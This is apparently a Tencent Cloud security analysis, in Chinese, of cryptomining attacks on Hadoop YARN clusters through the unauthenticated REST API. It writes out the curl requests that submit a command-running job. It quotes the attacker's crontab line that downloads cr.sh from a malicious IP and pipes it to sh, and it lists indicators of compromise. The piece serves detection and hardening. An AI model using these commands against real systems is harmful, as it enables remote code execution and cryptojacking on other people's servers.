Hadoop Yarn REST API未受權漏洞利用挖礦分析

歡迎你們前往騰訊雲+社區,獲取更多騰訊海量技術實踐乾貨哦~php

1、背景狀況

5月5日騰訊雲安全曾針對攻擊者利用Hadoop Yarn資源管理系統REST API未受權漏洞對服務器進行攻擊,攻擊者能夠在未受權的狀況下遠程執行代碼的安全問題進行預警,在預警的先後咱們曾屢次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,咱們針對其中一個案例進行分析並提供響應的安全建議和解決方案。html

2、 漏洞說明

Hadoop是一個由Apache基金會所開發的分佈式系統基礎架構,YARN是hadoop系統上的資源統一管理平臺,其主要做用是實現集羣資源的統一管理和調度,能夠把MapReduce計算框架做爲一個應用程序運行在YARN系統之上,經過YARN來管理資源。簡單的說,用戶能夠向YARN提交特定應用程序進行執行,其中就容許執行相關包含系統命令。java

YARN提供有默認開放在8088和8090的REST API(默認前者)容許用戶直接經過API進行相關的應用建立、任務提交執行等操做,若是配置不當,REST API將會開放在公網致使未受權訪問的問題,那麼任何黑客則就都可利用其進行遠程命令執行,從而進行挖礦等行爲。node

攻擊步驟:數據庫

  1. 申請新的application

直接經過curl進行POST請求json

curl -v -X POST安全

'http://ip:8088/ws/v1/cluster/apps/new-application'服務器

返回內容相似於:微信

img

  1. 構造並提交任務

構造json文件1.json,內容以下,其中application-id對應上面獲得的id,命令內容爲嘗試在/var/tmp目錄下建立11112222_test_111122222文件,內容也爲111:網絡

img

而後直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type:application/json'

http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

便可完成攻擊,命令被執行,在相應目錄下能夠看到生成了對應文件

img

更多漏洞詳情能夠參考

http://bbs.qcloud.com/thread-50090-1-1.html

3、入侵分析

在本次分析的案例中,受害機器部署有Hadoop YARN,而且存在未受權訪問的安全問題,黑客直接利用開放在8088的REST API提交執行命令,來實如今服務器內下載執行.sh腳本,從而再進一步下載啓動挖礦程序達到挖礦的目的。

img

整個利用過程相對比較簡單,經過捕捉Hadoop 的launch_container.sh執行腳本,咱們能夠看到其中一個案例中相關任務執行的命令:

img

能夠很明顯的看到第8行位置,從185.222.210.59下載並執行了一個名爲x_wcr.sh的腳本。

在實際過程當中,咱們從多個案例捕獲了多個好比名爲cr.sh的不一樣腳本,但實際的功能代碼都差很少,咱們對其中一個x_wcr.sh腳本進行分析,代碼自上而下內容:

img

這部分代碼主要針對已存在的挖礦進程、文件進行清理。

img

這部分的代碼主要是判斷若是/tmp/java是一個存在而且可寫的文件,那麼就判斷其MD5值是否匹配,MD5不匹配則根據w.conf關鍵詞查找並kill進程;若是非可寫的文件,則從新賦值DIR變量,這個變量主要用於後面部分代碼中下載挖礦等程序存放目錄。

img

而後接着是一些變量的賦值,包括再次判斷若是/tmp/java是一個目錄,則從新賦值DIR變量;判斷curl和wget命令是否存在,存在則賦值到WGET變量;f2則是賦值爲某個IP,實則爲是後續下載相關文件的服務器之一。

img

這部分代碼是其中比較核心的代碼,經過downloadIfNeed方法下載挖礦程序到DIR目錄下並重命名爲java,下載w.conf配置文件,給挖礦程序增長執行權限,而後以nohup命令後臺運行挖礦程序並刪除配置文件;接着檢查crontab中的任務,若是不存在對應的任務,就將下載執行腳本的任務"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,這裏LDRwget -q -O -或者curl,任務每分鐘執行一次。

腳本中還包含了幾個嵌套調用的download方法,入口方法是downloadIfNeed:

img

img

這個方法的核心功能仍是校驗已存在的挖礦程序的MD5,若是沒法驗證或者文件不存在的狀況,則直接調用download方法下載挖礦程序;若是文件存在但MD5匹配不正確,則調用download方法後再次驗證,驗證失敗則嘗試從另一個下載渠道https://transfer.sh/WoGXx/zzz下載挖礦程序並再次驗證。最後還將相關結果上報到目標服務器$f2的re.php.

tmp.txt內容示例:

img

img

download方法判斷ppc文件的存在與否和 MD5是否匹配,若是不存在或MD5不匹配則調用download2下載,若是存在則複製重名爲java。

img

download2方法則判斷系統下載對應版本的挖礦程序,其中http://185.222.210.59/g.php返回的是另一個IP地址;下載成功後則再次驗證,並複製重命名爲ppc。

img

在腳本的最後部分還有一些進程、文件、crontab清理的處理,用pkill刪除知足條件的進程,刪除tmp目錄下pscd開頭的文件,以及說刪除crontab中存在某些關鍵詞的任務。

至此,咱們完成整個腳本的分析,雖然整個腳本比較冗長,並且彷佛各個函數嵌套調用,涉及文件也衆多,但其實總體就作了如下幾件事:

1.清理相關的進程、文件和crontab任務

2.判斷並下載挖礦程序,同時校驗MD5值,除了黑客本身控制的服務器,還利用https://transfer.sh提供備用下載,多種方式保障

3.增長腳本下載執行任務添加到crontab裏

其實,咱們經過查看YARN的日誌文件

yarn-root-nodemanager-master.hadoop.log

也可能看到相應的痕跡:

img

img

或者咱們經過管理UI查看application詳情:

img

而crontab的任務日誌也能看到相關的執行記錄:

img

最終在/var/tmp目錄下也能找到相關的文件

img

4、安全建議

清理病毒

1.使用top查看進程,kill掉異常進程

2.檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件

3.檢查crontab任務列表,刪除異常任務

4.排查YARN日誌,確認異常的application,刪除處理

安全加固

1.經過iptables或者安全組配置訪問策略,限制對8088等端口的訪問

2.如無必要,不要將接口開放在公網,改成本地或者內網調用

3.升級Hadoop到2.x版本以上,並啓用Kerberos認證功能,禁止匿名訪問

4.雲鏡當前已支持該漏洞檢測,同時也支持挖礦木馬的發現,建議安裝雲鏡並開通專業版,及時發現漏洞並修復或者在中馬後能及時收到提醒進行止損

5.更多自檢和修復建議能夠參考

http://bbs.qcloud.com/thread-50090-1-1.html

5、IOCs

錢包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

1.c8c1f2da51fbd0aea60e11a81236c9dc

2.183664ceb9c4d7179d5345249f1ee0c4

3.b00f4bbd82d2f5ec7c8152625684f853

礦池地址

1.158.69.133.20:3333

2.192.99.142.249:3333

3.202.144.193.110:3333

4.46.30.43.159:80

部分相關URL

  1. http://185.222.210.59/x_wcr.sh
  2. http://185.222.210.59/re.php
  3. http://185.222.210.59/g.php
  4. http://185.222.210.59/w.conf
  5. http://185.222.210.59/cr.sh
  6. http://192.99.142.226:8220/w.conf
  7. http://192.99.142.226:8220/xm64
  8. http://192.99.142.226:8220/cr.sh
  9. http://95.142.40.83/xm64
  10. http://95.142.40.83/xm32
  11. https://transfer.sh/1o3Kj/zzz
  12. https://transfer.sh/wbl5H/pscf
  13. https://transfer.sh/WoGXx/zzz

問答

騰訊雲域名安全認證問題?

相關閱讀

Linux Redis自動化挖礦感染蠕蟲分析及安全建議

黑客是如何實現數據庫勒索的 ?

2018雲+將來峯會圓桌面對面:以網絡安全之能,造國之重器


此文已由做者受權騰訊雲+社區發佈,原文連接:https://cloud.tencent.com/developer/article/1142503?fromSource=waitui

歡迎你們前往騰訊雲+社區或關注雲加社區微信公衆號(QcloudCommunity),第一時間獲取更多海量技術實踐乾貨哦~

相關文章
相關標籤/搜索